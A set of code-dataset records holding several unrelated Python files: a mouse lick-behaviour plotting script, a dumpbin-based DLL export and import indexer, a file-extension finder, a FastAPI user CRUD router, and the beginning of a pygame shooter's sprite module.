SUM(IF(`Licks_within_lickwithhold_time` is NULL AND `Notes`=\"GO=-3\",1,0)) AS \"-3\",\nSUM(IF(`Licks_within_lickwithhold_time` = \"yes\" AND `Notes`=\"GO=-2\",1,0)) / SUM(IF(`Licks_within_lickwithhold_time` is NULL AND `Notes`=\"GO=-2\",1,0)) AS \"-2\",\nSUM(IF(`Licks_within_lickwithhold_time` = \"yes\" AND `Notes`=\"GO=-4\",1,0)) / SUM(IF(`Licks_within_lickwithhold_time` is NULL AND `Notes`=\"GO=-4\",1,0)) AS \"-4\"\nFROM `headfix_trials_summary` where 1\"\"\"\n return query\ndef myround(x, base=5):\n return int(base * math.floor(float(x*100)/base))/100\n\ndef drop_some_parameters(df):\n #unfortunately the parameters are not saved, so we use the maximum and minimum values of a few variables to estimate them\n #most of the parameters are redundant or uninteresting: get rid of them\n df = df[(df.Outcome != \"GO=-4\")]\n df = df[~((df.Outcome == \"GO=1\") & (df.variable == \"lickdelay_max\"))]\n df = df[~((df.Outcome == \"GO=1\") & (df.variable == \"Lickwithhold_max\"))]\n df = df[~((df.Outcome == \"GO=1\") & (df.variable == \"Lickwithhold_min\"))]\n df = df[((df.Outcome == \"GO=2\") & (df.variable == \"lickdelay_min\"))] #this leaves just the delay time of GO=2\n\n #round them by adjusting them to the minimum, rounded down to either 0.x5 or 0.1 values. iteration over DF is backwards:\n # idea: we always increase the value and we always have nice numbers. first values are definetely 0.35\n current_minumum = 1.2\n df = df.iloc[::-1]\n for index, row in df.iterrows():\n current_value = row[\"value\"]\n current_minumum = myround(min(current_value, current_minumum))\n df.loc[index,\"Lickdelay_time\"] = current_minumum\n df = df.iloc[::-1]\n return df\n\n#?????????????????????????????plots?????????????????????????????????????????????????\ndef draw_parameters():\n query = generateQuery(\"times\")\n data = list(getFromDatabase(query))\n df = pd.DataFrame(data=data, columns=[\"Date\", \"Lickwithhold_min\", \"Lickwithhold_max\", \"lickdelay_min\", \"lickdelay_max\",\"Outcome\"])\n df[\"Date\"] = pd.to_datetime(df[\"Date\"])\n df[\"Day\"] = (df[\"Date\"] - pd.to_datetime(\"2018-08-08\")).dt.days\n df1 = pd.melt(df,id_vars=[\"Day\",\"Outcome\"], value_vars=[\"Lickwithhold_min\", \"Lickwithhold_max\", \"lickdelay_min\", \"lickdelay_max\"])\n #sns.lineplot(data=df1, x=\"Day\",y=\"value\", hue=\"variable\",size=\"Outcome\") #all parameters, most of them uninteresting\n #plt.show() #shows all variables\n df1 = drop_some_parameters(df1)\n #sns.lineplot(data=df1, x=\"Day\", y=\"value\", hue=\"variable\", size=\"Outcome\")\n fig = plt.figure(figsize=(4.4, 2.2))\n sns.set_context(\"paper\", font_scale=1.75, rc={\"lines.linewidth\": 5})\n a= sns.lineplot(data=df1, x=\"Day\", y=\"Lickdelay_time\", hue=\"variable\", size=\"Outcome\",legend=False)\n a.set(xlabel=\"\", ylabel=\"\")\n sns.despine()\n plt.yticks([0.35,0.7,1.1])\n plt.tight_layout()\n plt.savefig(\"parameters.svg\",bbox_inches=0, transparent=True)\n plt.show()\ndef draw_single_session():\n sns.set_context(\"talk\")\n liste = list(getFromDatabase(generateQuery(\"textfile\")))\n df_trials = pd.DataFrame(data=liste, columns=[\"Timestamp\", \"Event\"])\n df_trials[\"Time\"] = (df_trials[\"Timestamp\"] - df_trials[\"Timestamp\"].iloc[0]).dt.total_seconds()\n print(df_trials)\n fig = plt.figure(figsize=(15,5))\n #entry exit\n a = df_trials.loc[df_trials['Event'].isin([\"exit\", \"entry\"]), \"Time\"]\n b = sns.rugplot(a=a, height=0.1, color=\"limegreen\", linewidth=4,label=\"Entry/Exit\",linestyle = \"-\")\n #reward\n a = df_trials.loc[df_trials['Event'].isin([\"reward\",\"entryReward\"]), \"Time\"]\n b = sns.rugplot(a=a, height=0.18,color=\"royalblue\",linewidth=4,label=\"Water reward\")\n #stimulus\n a = df_trials.loc[df_trials['Event'].str.contains(\"GO=-1|GO=1|GO=-3\"), \"Time\"]\n b = sns.rugplot(a=a, height=0.24, color=\"darkred\", linewidth=4,label=\"NO GO stimulus\",linestyle = \"--\")\n a = df_trials.loc[df_trials['Event'].str.contains(\"GO=-2|GO=2|GO=-4\"), \"Time\"]\n b = sns.rugplot(a=a, height=0.24, color=\"darkred\", linewidth=4,label=\"GO stimulus\")\n #licks\n a = df_trials.loc[df_trials['Event'].isin([\"lick:1\", \"lick:2\"]), \"Time\"]\n b = sns.rugplot(a=a, height=0.06, color=\"black\", linewidth=1.5,label=\"Licks\")\n b.legend(frameon=False)\n #headfix times\n a = df_trials.loc[df_trials['Event'].isin([\"check+\",\"complete\"]), \"Time\"]\n b = sns.rugplot(a=a, height=0.02, color=\"r\",linewidth=0.5,alpha=1)\n #LED\n a = df_trials.loc[df_trials['Event'].isin([\"BrainLEDON\", \"BrainLEDOFF\"]), \"Time\"]\n b = sns.rugplot(a=a, height=0.02, color=\"r\", linewidth=0.5,alpha=1)\n #plot\n sns.set(style=\"white\")\n sns.despine(left=True)\n plt.tick_params(labelsize=20,size=25)\n plt.xlabel(\"Time [s]\",fontsize=20)\n plt.ylim(0.2)\n plt.xlim(-2,52)\n plt.tight_layout()\n plt.yticks([])\n plt.savefig(\"fullsession.svg\",bbox_inches=0, transparent=True)\n plt.show()\n\ndef draw_facetgrid(purpose,purpose2):\n # get lick data\n rownames = {\"range1\":\"Day 1-4\",\"range2\":\"Day 14-17\",\"range3\":\"Day 46-49\",\"range4\":\"Day 55-58\"}\n data = list(getFromDatabase(query = generateQuery(purpose)))\n df = pd.DataFrame(data=data,columns=[\"Mouse\", \"Timestamp\", \"Delta_time\", \"Outcome\", \"Cage\",\"Task\"])\n df[\"Training\"]= \"range1\"\n df.loc[df[\"Timestamp\"] > \"2018-08-12 00:00:00.01\", \"Training\"] = \"range2\"\n df.loc[df[\"Timestamp\"] > \"2018-08-30 00:00:00.01\", \"Training\"] = \"range3\"\n df.loc[df[\"Timestamp\"] > \"2018-09-26 00:00:00.01\", \"Training\"] = \"range4\"\n\n #get number of involved trials\n data1 = list(getFromDatabase(query=generateQuery(purpose2)))\n df1 = pd.DataFrame(data=data1, columns=[\"Task\",\"Outcome\",\"range1\",\"range2\",\"range3\",\"range4\"])\n print(df1)\n #bin data\n bins = np.linspace(-3,5,81,endpoint=True)\n labels = np.linspace(-2.9,5,80,endpoint=True)\n t = df.groupby([\"Training\", \"Task\", \"Outcome\", pd.cut(df['Delta_time'], bins=bins, labels=labels)])[\"Cage\"].size(). \\\n reset_index().rename(columns={\"Cage\": \"Licks\"})\n t.loc[:, \"Licks\"] *= 10\n t = t.sort_values(by=[\"Training\"])\n\n # rescale data by number of involved trials due to Outcome\n for outcome in [\"GO=2\", \"GO=1\", \"GO=-4\", \"GO=-2\", \"GO=-1\",\"GO=-3\"]:\n for days in [\"range1\",\"range2\",\"range3\",\"range4\"]:\n t.loc[(t[\"Training\"] == days) & (t[\"Outcome\"] == outcome), \"Licks\"] /= int(\n df1.loc[(df1[\"Outcome\"] == outcome), days])\n t.replace({\"Training\": rownames}, inplace=True)\n sns.set_context(\"paper\",font_scale=1.75)\n gr = sns.catplot(\"Delta_time\", y=\"Licks\", alpha=0.6, col=\"Task\", row=\"Training\", hue=\"Outcome\", legend_out=True,\n margin_titles=True, aspect=3.5, height=2.2,sharey=True,sharex=True,col_order=[\"GO in time window\",\"NO GO\"],\n hue_order=[\"GO=2\", \"GO=-4\", \"GO=-2\", \"GO=1\", \"GO=-1\"], data=t, kind=\"bar\", dodge=False)\n gr.set(xmargin=0.0, ymargin=0.0)\n gr.set_xticklabels(step=10)\n gr.set_xticklabels(labels=range(-3, 6, 1))\n gr.set_axis_labels(\"\", \"\")\n [plt.setp(ax.texts, text=\"\") for ax in gr.axes.flat] # remove the original texts, important!\n gr.set_titles(row_template = '{row_name}', col_template='{col_name}')\n sns.despine()\n plt.subplots_adjust(hspace=0.2,wspace=0.1)\n plt.savefig(\"development.svg\", transparent=True)\n plt.show()\n\n\n\n # grid = sns.FacetGrid(s, col=\"Task\",row=\"Training\", hue=\"Outcome\",legend_out= True, margin_titles = False,aspect=2.5, height=2.5,\n # hue_order=[\"GO=2\",\"GO=-4\",\"GO=-2\",\"GO=1\",\"GO=-1\"])\n #grid.set(xmargin=0, ymargin=0)\n #grid = (grid.map(sns.barplot,\"Delta_time\",\"Licks\",alpha=0.5,order= labels,dodge=True).add_legend())\n # grid1 = sns.FacetGrid(df, col=\"Task\", row=\"Training\", hue=\"Outcome\", legend_out=True, margin_titles=False, aspect=2.5,height=2.5)\n # grid1.set(xmargin=0, ymargin=0)\n # grid1 =(grid1.map(sns.distplot, \"Delta_time\",bins=100, kde=False, hist=True, norm_hist=False,\n # hist_kws={\"alpha\":0.5},kde_kws={\"label\": \"licks\"}).add_legend().set(xlim=(-5, 5)))\n # order=[\"First days\",\"Addition of NO GO task\",\"After 2 weeks with both tasks\"]\n\n\n\ndef draw_outcome_patterns():\n data = list(getFromDatabase(query = generateQuery(\"all_outcomes\")))\n df = pd.DataFrame(data=data, columns=[\"Mouse\", \"Timestamp\", \"Delta_time\", \"Outcome\", \"Cage\"])\n grid = sns.FacetGrid(df, col=\"Outcome\", hue=\"Outcome\")\n grid.map(sns.distplot, \"Delta_time\", bins=100, kde=False, hist=True, norm_hist=True, kde_kws={\"label\": \"licks\"})\n sns.despine()\n plt.xlim(-4, 4)\n # plt.ylim(0, 600)\n plt.tight_layout()\n plt.show()\n\n\n#//////////////////////////////////////////////////////////////////////////////////////\n\n#draw_facetgrid(\"single_mouse\",\"counts\")\n#draw_outcome_patterns()\n#draw_parameters()\n#draw_single_session()\n\n#??????????????????????????????????????? single outcome ?????????????????????????????????\n\n#specify query in the last lines of the query with mice and outcomes(Notes)\n#better use just one outcome, otherwise grid is drawn, remove mouse statement if not necessary\nquery = \"\"\"\n SELECT licks.Mouse,licks.`Timestamp`, licks.Delta_time, headfix_trials_summary.Notes,\n headfix_trials_summary.Project_ID,`headfix_trials_summary`.`Task` FROM `licks`\n INNER JOIN `headfix_trials_summary` ON `licks`.`Related_trial` = `headfix_trials_summary`.`Trial start`\n WHERE `headfix_trials_summary`.`Fixation` = \"fix\" and (\n (Date(`licks`.`Timestamp`) BETWEEN \"2018-02-14\" and \"2018-04-01\")\n OR (Date(`licks`.`Timestamp`) BETWEEN \"2018-04-23\" AND \"2018-06-01\")\n OR (Date(`licks`.`Timestamp`) BETWEEN \"2018-07-24\" and \"2018-10-24\")\n OR (Date(`licks`.`Timestamp`) BETWEEN \"2018-11-15\" AND \"2018-12-20\")) \n AND licks.Delta_time between -5 and 5\n AND `headfix_trials_summary`.`Licks_within_lickwithhold_time` IS NULL\n AND `headfix_trials_summary`.`Notes` IN (\"GO=2\",\"GO=-4\",\"GO=-2\")\n \"\"\"\ndata = list(getFromDatabase(query))\ndf = pd.DataFrame(data=data, columns=[\"Mouse\", \"Timestamp\", \"Delta_time\", \"Outcome\", \"Cage\",\"Task\"])\nsns.set_style(\"white\")\ngrid = sns.FacetGrid(df, col=\"Outcome\", hue=\"Outcome\",aspect=2,height=3)\ngrid.map(sns.distplot, \"Delta_time\", bins=80, kde=False, hist=True, norm_hist=True, kde_kws={\"label\": \"licks\"})\n\nsns.despine()\nplt.xlim(-5, 5)\nplt.tight_layout()\nplt.show()\n\nsns.set(style=\"ticks\", font_scale=2, context=\"paper\")\ngrid1 = sns.FacetGrid(df,hue=\"Outcome\",aspect=1.5,height=4.5,legend_out=False)\ngrid1.map(sns.distplot, \"Delta_time\", bins=100, kde=False, hist=True, norm_hist=False,\n hist_kws={'alpha':0.6}, kde_kws={\"label\": \"licks\"}).add_legend(frameon=False)\nsns.despine()\nplt.xlim(-5, 5)\nplt.xlabel(\"\")\nplt.tight_layout()\nplt.savefig(\"poollicks.svg\", bbox_inches=0, transparent=True)\nplt.show()\n\n#AND `headfix_trials_summary`.`Notes` IN (\"GO=2\",\"GO=-4\",\"GO=-2\")","repo_name":"DavidBierbrauer/murphylab","sub_path":"licks.py","file_name":"licks.py","file_ext":"py","file_size_in_byte":19018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30699422835","text":"#!/usr/bin/env python3\n#\n#-------------------------------------------------------------------------------\n\nimport argparse\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport textwrap\n\n\nMY_NAME = os.path.basename(__file__)\nMAGIC_PATH = 'C:\\\\Program Files\\\\Microsoft Visual Studio\\\\2022\\\\Community\\\\VC\\\\Tools\\\\MSVC\\\\14.33.31629\\\\bin\\\\Hostx64\\\\x64'\nDEFAULT_EXP_OUTPUT='exports.json'\nDEFAULT_IMP_OUTPUT='imports.json'\n\nDESCRIPTION = f\"\"\"\nIndex the executable files in the --target_dir, taking the information from\n dumpbin /exports and /imports and gather the data into\n {DEFAULT_EXP_OUTPUT} and {DEFAULT_IMP_OUTPUT}\n --studio_dir may for example be\n {MAGIC_PATH}\n\"\"\"\nUSAGE_EXAMPLE = f\"\"\"\nExample:\n> {MY_NAME} -t ../data\n> {MY_NAME} -t ../data -u just_this.dll\n\"\"\"\n\n#-------------------------------------------------------------------------------\ndef parse_arguments():\n parser = argparse.ArgumentParser(\n MY_NAME,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=textwrap.dedent(DESCRIPTION),\n epilog=textwrap.dedent(USAGE_EXAMPLE)\n )\n add = parser.add_argument\n add('-d', '--debug_level', type=int, default=0, help='set debug level')\n add('-f', '--filter', action='store_true',\n help='exclude external dlls')\n add('-s', '--studio_dir', metavar='VS2022',\n default=MAGIC_PATH,\n help='Where your dumpbin.exe is located')\n add('-t', '--target_dir', metavar='bin-dir',\n required=True,\n help='root path to check (recursively)')\n add('-u', '--unly_one', metavar='dll_under_test.dll',\n help='exports from this exe only')\n\n add('-q', '--quiet', action='store_true',\n help='be more quiet')\n add('-v', '--verbose', action='store_true',\n help='be more verbose')\n\n return parser.parse_args()\n\n#-------------------------------------------------------------------------------\n'''Get current code page'''\ndef ccp():\n try:\n return ccp.codepage\n except AttributeError:\n reply = os.popen('cmd /c CHCP').read()\n cp = re.match(r'^.*:\\s+(\\d*)$', reply)\n if cp:\n ccp.codepage = cp.group(1)\n else:\n ccp.codepage = 'utf-8'\n return ccp.codepage\n\n#-------------------------------------------------------------------------------\ndef run_process(command, do_check, extra_dir=os.getcwd()):\n try:\n my_command = command\n status = subprocess.run(command,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n text=True,\n encoding=ccp(), # See https://bugs.python.org/issue27179\n check=do_check)\n if status.returncode == 0:\n reply = status.stdout\n else:\n reply = status.stdout\n reply += status.stderr\n\n except Exception as e:\n reply = '\\n-start of exception-\\n'\n reply += f'The command\\n>{command}\\nthrew an exception'\n if extra_dir:\n reply += f' (standing in directory {extra_dir})'\n reply += f':\\n\\n'\n reply += f'type: {type(e)}\\n'\n reply += f'text: {e}\\n'\n reply += '\\n-end of exception-\\n'\n reply += f'stdout: {e.stdout}\\n'\n reply += f'stderr: {e.stderr}\\n'\n\n return reply\n\n#-------------------------------------------------------------------------------\ndef list_all_files(directory, the_chosen_files, ext):\n\n for root, _dirs, files in os.walk(directory):\n for file in files:\n if file.endswith(ext):\n abs_path = os.path.abspath(os.path.join(root, file))\n the_chosen_files.append(abs_path)\n\n return the_chosen_files\n\n#-------------------------------------------------------------------------------\ndef list_all_executables(directory):\n found_exes = []\n list_all_files(directory, found_exes, \".exe\")\n list_all_files(directory, found_exes, \".dll\")\n\n return found_exes\n\n\n#-------------------------------------------------------------------------------\ndef parse_out_the_exports(the_exe, the_input, options):\n list_of_functions = []\n curr_line = 0\n no_of_lines = len(the_input)\n\n while curr_line < no_of_lines:\n line = the_input[curr_line]\n # Skip until line after 'ordinal'\n if line.startswith(' ordinal'):\n break\n curr_line += 1\n\n curr_line = curr_line + 2\n if curr_line >= no_of_lines:\n if options.verbose:\n print(f' Found no exports in {the_exe}')\n return list_of_functions\n\n while curr_line < no_of_lines:\n line = the_input[curr_line]\n # Read until an empty line\n if len(line) == 0:\n break\n func = line[26:]\n# print(func)\n list_of_functions.append(func)\n curr_line += 1\n\n return list_of_functions\n\n#-------------------------------------------------------------------------------\ndef get_export(path_of_exe, options):\n commando = f'{options.dumpbin} /exports {path_of_exe}'\n if options.verbose:\n print(' ' + commando)\n output = run_process(commando, True)\n exported_functions = parse_out_the_exports(path_of_exe, output.splitlines(),\n options)\n return exported_functions\n\n#-------------------------------------------------------------------------------\ndef get_exports(executables, options):\n exports = {}\n for exe in executables:\n if options.unly_one and os.path.basename(exe) != options.unly_one:\n if options.verbose:\n print(f'Skipping {exe} because of -u {options.unly_one}')\n continue\n if options.verbose:\n print(exe)\n exports[exe] = get_export(exe, options)\n\n return exports\n\n#-------------------------------------------------------------------------------\ndef get_next_imported_dll(the_input, curr_line, no_of_lines):\n # Eat until we find some char at pos 4\n empty_lines = 0\n while curr_line < no_of_lines:\n line = the_input[curr_line]\n if len(line) == 0:\n empty_lines += 1\n if empty_lines == 2:\n return curr_line + 1\n curr_line += 1\n return curr_line\n\n\n#-------------------------------------------------------------------------------\ndef parse_out_the_imports(the_exe, interesting_exes, the_input, options):\n dict_of_imports = {}\n\n curr_line = 0\n no_of_lines = len(the_input)\n\n while curr_line < no_of_lines:\n line = the_input[curr_line]\n # Skip until line after 'Section contains'\n if line.startswith(' Section contains'):\n break\n curr_line += 1\n\n curr_line = curr_line + 2\n if curr_line >= no_of_lines:\n if options.verbose:\n print(f' Found no start of imports in {the_exe}')\n return\n\n # Now get the name(s) of the DLL(s) that we import from\n while curr_line < no_of_lines:\n line = the_input[curr_line]\n # Have reached the end?\n if line[2:] == 'Summary':\n break\n if line[2:].startswith('Section contains the'):\n break\n\n # Take the name of the DLL that the_exe is importing from\n imported_dll = line[4:]\n\n if options.filter and imported_dll not in interesting_exes:\n# print(f' Skipping {imported_dll}')\n curr_line = get_next_imported_dll(the_input, curr_line, no_of_lines)\n line = the_input[curr_line]\n if line[2:] == 'Summary':\n break\n continue\n\n if options.verbose:\n print(f' Importing from {imported_dll}')\n curr_line += 6\n\n # Get the functions\n list_of_functions = []\n while curr_line < no_of_lines:\n line = the_input[curr_line]\n if len(line) == 0:\n break\n func = line[29:]\n# print(f' Function: {func}')\n list_of_functions.append(func)\n curr_line += 1\n\n dict_of_imports[imported_dll] = list_of_functions\n\n # Get to the next dll-name\n curr_line += 1\n line = the_input[curr_line]\n if line[2:] == 'Summary':\n break\n\n return dict_of_imports\n\n#-------------------------------------------------------------------------------\ndef get_import(path_of_exe, imports, interesting_exes, options):\n commando = f'\"{options.dumpbin}\" /imports {path_of_exe}'\n if options.verbose:\n print(' ' + commando)\n output = run_process(commando, True)\n imported_from_dlls = parse_out_the_imports(path_of_exe, interesting_exes,\n output.splitlines(), options)\n return imported_from_dlls\n\n#-------------------------------------------------------------------------------\ndef get_imports(executables, options):\n imports = {}\n interesting_dll_names = get_basenames(executables)\n print('Collecting the imports')\n for exe in executables:\n if options.verbose:\n print(exe)\n imports_from_dlls = get_import(exe, imports, interesting_dll_names,\n options)\n imports[os.path.basename(exe)] = imports_from_dlls\n\n return imports\n\n#-------------------------------------------------------------------------------\ndef get_basenames(inputs):\n outputs = []\n for input in inputs:\n outputs.append(os.path.basename(input))\n\n return outputs\n\n#-------------------------------------------------------------------------------\ndef store_json_data(file, data):\n with open(file, 'w') as fp:\n json.dump(data, fp, indent=2)\n\n#-------------------------------------------------------------------------------\ndef main():\n options = parse_arguments()\n root = options.target_dir\n dumpbin = os.path.join(options.studio_dir, 'dumpbin.exe')\n if not os.path.exists(dumpbin):\n print(f'No dumpbin found as {dumpbin}')\n return 3\n options.dumpbin = dumpbin\n\n exes = list_all_executables(root)\n if len(exes) == 0:\n print(f'No executables found in directory {root}')\n return 3\n\n print('Collecting the exports')\n exports = get_exports(exes, options)\n\n if not len(exports):\n print(f'Got no exports - giving up')\n return 3\n store_json_data(DEFAULT_EXP_OUTPUT, exports)\n print(f' Saved as {DEFAULT_EXP_OUTPUT}')\n\n # Then go another round to insert the imports\n print('Collecting the imports')\n imports = get_imports(exes, options)\n store_json_data(DEFAULT_IMP_OUTPUT, imports)\n print(f' Saved as {DEFAULT_IMP_OUTPUT}')\n return 0\n\n#-------------------------------------------------------------------------------\nif __name__ == \"__main__\":\n sys.exit(main())\n\n","repo_name":"NilssonOpel/MatchExportsImports","sub_path":"scripts/db_get_exports_imports.py","file_name":"db_get_exports_imports.py","file_ext":"py","file_size_in_byte":10713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72656251148","text":"import os\nimport sys\n\n'''\n#checking if path exists or not\npath=\"/bak\"\n#path=os.getcwd()\n\nif os.path.exists(path):\n print(\"the path exist\")\nelse:\n print(\"the path not exist\")\n sys.exit()\n\nprint(\"Hi There!!!\")\n'''\n\n####################################\n\n#checking if it is a directory\n'''\npath=os.getcwd()\n\nif os.path.isdir(path):\n print(\"this is a dir\")\nelse:\n print(\"this is not a dir\")\n'''\n#####################################\n\n#find specific file in a directory\n\npath=input(\"Enter your path: \")\n\nreq_path=os.listdir(path)\n\nlist=[]\n\nif len(req_path)== 0:\n print(\"This directory is empty \\nBye!!!!\")\n sys.exit()\nelse:\n loc=input(\"Enter the extension you are looking for: \")\n for i in req_path:\n if i.endswith(loc):\n list.append(i)\n if len(list)== 0:\n print(f\"There is no file with {loc} extension\")\n else:\n print(f\"The are some files {list}\")\n print(f\"There are {len(list)} files with {loc} extension in {path}\")\n\n################################################################################\n\n","repo_name":"armelsteve/developer","sub_path":"my_scripts/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9651369710","text":"from fastapi import APIRouter, HTTPException\nfrom pydantic import BaseModel\n\nrouter = APIRouter(\n tags=[\"users\"], # el tag sirve para separar las apis en la documentacion\n)\n\n\n# entidad usuario, none means that is optional\nclass User(BaseModel):\n id: int\n name: str\n sur_name: str\n url: str\n age: int\n\n\nusers_list = [\n User(id=1, name=\"Jhon\", sur_name=\"Meza\", url=\"jhon.com\", age=21),\n User(id=2, name=\"asda\", sur_name=\"Meza\", url=\"jhon.com\", age=21),\n]\n# Inicia el server: uvicorn users:app --reload\n\n\n@router.get(\"/users\")\nasync def users():\n return users_list\n\n\n# path\n@router.get(\"/user/{id_user}\")\nasync def user_by_id(id_user: int):\n search_user(id_user)\n\n\n# query\n@router.get(\"/user/\")\nasync def user_by_id(id_user: int):\n search_user(id_user)\n\n\n# add new user\n\n\n@router.post(\"/user/\", response_model=User, status_code=201)\nasync def create_user(new_user: User):\n if type(search_user(new_user.id)) == User:\n raise HTTPException(status_code=404, detail=\"User already exists\")\n\n users_list.append(new_user)\n return {\"message\": \"User added\"}\n\n\n# update user\n@router.put(\"/user/\")\nasync def update_user(new_user: User):\n for index, saved_user in enumerate(users_list):\n if saved_user.id == new_user.id:\n users_list[index] = new_user\n return {\"message\": \"User updeted\"}\n\n return {\"message\": \"User not found\"}\n\n\n# delete user\n\n\n@router.delete(\"/user/{id_user}\")\nasync def delete_user(id_user: int):\n for index, saved_user in enumerate(users_list):\n print(saved_user)\n if saved_user.id == id_user:\n del users_list[index]\n return {\"message\": \"User deleted\"}\n\n return {\"message\": \"User not found\"}\n\n\n# function for searh users\ndef search_user(id_user: int):\n users_found = filter(lambda user: user.id == id_user, users_list)\n try:\n return list(users_found)[0]\n except:\n return {\"message\": \"User not found \"}\n","repo_name":"JhonMG07/Backend-Python---fastapi","sub_path":"FastApi/routers/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43367135868","text":"\"\"\"Author: Rixin Yang\n Date: May 30, 2018\n Description: Creates a module used for the game \"PROJECT: Witchcraft\" \n creating many sprite classes. \n\"\"\"\n\n#Import needed module\nimport pygame, math, random\n\nclass Button(pygame.sprite.Sprite):\n '''This is the button class where button sprites are created. The button \n sprite is used in main to select options given that runs specific \n functions.'''\n \n def __init__(self, xy_pos, message, colour):\n '''This method initializes the sprite using the xy_pos paramter to \n set up correct positions in initiation. message parameter used for\n label. Lastly, the colour paramter is used to initiate the starting \n colour for the label button.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n self.__message = message\n self.__font = pygame.font.Font(\"fonts/Segoe Script Bold.ttf\", 25)\n self.__select = 0\n self.__colours = [colour, (255,99,71)]\n self.image = self.__font.render(\n message, 1, (self.__colours[self.__select]))\n self.rect = self.image.get_rect()\n self.rect.center = xy_pos\n \n def set_select(self):\n '''This method sets the select instance to 1 as it is selected in main.\n '''\n \n #Set instance to 1.\n self.__select = 1\n \n def update(self):\n '''This method run automatically called every frame to determine if the \n button should change colour depending on if it is selected.'''\n \n #Reset colour of label depending on if selected.\n self.image = self.__font.render(\n self.__message, 1, (self.__colours[self.__select]))\n \n #Reset, it will be 1 if it is still selected next frame.\n self.__select = 0\n \nclass Player(pygame.sprite.Sprite):\n '''The player class sprite. This class sprite is the player model being \n controlled by the user.'''\n \n def __init__(self, screen):\n '''This method initializes the sprite using the screen parameter to \n set boundaries in update.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Set up and load images for animation frames while idle\n self.__station_frames = []\n for index in range(5):\n self.__station_frames.append(pygame.image.load(\"images/player\"\n +str(index)+\".png\").convert_alpha())\n \n #Load images for animation while turning.\n self.__turn_frames_left = []\n for index in range(5):\n self.__turn_frames_left.append(pygame.image.load(\n \"images/player_turn\"+str(index)+\".png\").convert_alpha()) \n \n #Fliped all left turn frames for right turning animation frames.\n self.__turn_frames_right = []\n for frame in self.__turn_frames_left:\n self.__turn_frames_right.append(pygame.transform.flip(frame, 1,0))\n \n #Invisible image, used when invincible\n self.__temp = pygame.image.load(\"images/temp.png\").convert_alpha()\n\n #Set other instances needed for this class.\n self.__frames = self.__station_frames\n self.image = self.__frames[0] \n self.rect = self.image.get_rect()\n self.rect.center = ((screen.get_width()-200)/2, \n screen.get_height()- 2*self.rect.height)\n self.__index = 0 #For animation image\n self.__frame_refresh = 2 #For animation refresh\n self.__temp_frame_refresh = self.__frame_refresh \n self.__screen = screen\n self.__dx = 0\n self.__dy = 0\n self.__diagonal = 1\n self.__focus = 1\n self.__invincible_frames = 110\n self.__lock = 0\n self.__shoot = 0\n self.__cool_rate = 3\n self.__focus_cool_rate = 9\n self.__temp_cool_rate = self.__cool_rate\n self.__temp_invincible = 0\n \n #Set up spawn\n self.reset()\n \n def change_direction(self, xy_change):\n '''This method takes a xy tuple parameter to change the direction of \n the player.'''\n \n #Multiply appropriate vectors by a magnitude of 8\n if xy_change[0] != 0:\n self.__dx = xy_change[0]*8\n elif xy_change[1] != 0:\n self.__dy = xy_change[1]*8\n #No vectors if idle\n else:\n self.__dx = 0\n self.__dy = 0\n \n #Toggle/untoggle diagonal mode when depending on if both value = 1.\n if self.__dx != 0 and self.__dy != 0:\n self.diagonal_mode(1)\n else:\n self.diagonal_mode(0)\n \n def diagonal_mode(self, mode):\n '''This method toggle/untoggles the diagonal mode depending on the \n mode parameter (boolean). This is used to ensure consistency\n amongst movement.'''\n \n #change factor used in update to approximately 0.7071.\n if mode:\n self.__diagonal = ((2.0**0.5)/2.0)\n else:\n self.__diagonal = 1\n \n def focus_mode(self, mode):\n '''This method toggles/untoggles the focused mode depending on the mode\n parameter (boolean). This is used to toggle between different speeds and\n fire types.'''\n \n #Change focus factor to the correct value depending on mode. \n if mode:\n self.__focus = 1.75\n else:\n self.__focus = 1\n \n def shoot_mode(self, mode):\n '''This method toggles/untoggles the shoot mode depending on the mode\n parameter (boolean). This is used to toggle constant firing and non-\n firing.''' \n \n #Change boolean value\n self.__shoot = mode\n\n def spawn_bullet(self):\n '''This method spawns bullets, used in main. This spawns different \n bullets with different pattern depending on focus type.'''\n \n #If focused, shoot stream of bullet, and reset the cool down with \n #appropriate cool rate.\n if not self.__focus == 1:\n self.__temp_cool_rate = self.__cool_rate\n return Bullet(self.__screen, self, 0)\n #Unfocused shoots muti-bullets. Resetting with appropriate cool rate.\n else:\n self.__temp_cool_rate = self.__focus_cool_rate\n return [Bullet(self.__screen, self, 1, 60),\n Bullet(self.__screen, self, 1, 75),\n Bullet(self.__screen, self, 1, 90),\n Bullet(self.__screen, self, 1, 105),\n Bullet(self.__screen, self, 1, 120)]\n \n def reset(self):\n '''This method resets the player to original spawn point. Set up for \n new spawn.'''\n \n #Reposition player outside of the bottom screen.\n self.rect.center = ((self.__screen.get_width()-200)/2,\n self.__screen.get_height() + 4*self.rect.height) \n \n #Set invincible mode for certain frames.\n self.__temp_invincible = self.__invincible_frames\n \n #Disable player shoot mode and focus mode.\n self.__shoot = 0\n self.__focus = 1\n \n def set_invincible(self, frames):\n '''This method sets the player invincible frames to the amount \n indicated by the frames.'''\n \n #Set invincible frames\n self.__temp_invincible = frames\n \n def get_cool_rate(self):\n '''This method returns the self instance, cool rate. Used in main to \n see if player can fire.'''\n \n #Return instance value.\n return self.__temp_cool_rate\n \n def get_invincible(self):\n '''This method returns the self instance, invincible. Used to detect \n if bullet can harm player in main.'''\n \n #Return instance value.\n return self.__temp_invincible\n \n def get_lock(self):\n '''This method returns the self instance, lock. Used to determine if \n user can control player sprite.'''\n \n #Return instance.\n return self.__lock\n \n def get_shoot(self):\n '''This method returns the self instance, shoot mode. Used in main to \n see if player can fire.''' \n \n #Return instance.\n return self.__shoot\n \n def get_center(self):\n '''This method returns the self instance, center. Used in respawn and \n positioning.''' \n \n #Return instance.\n return self.rect.center\n \n def update(self):\n '''Update 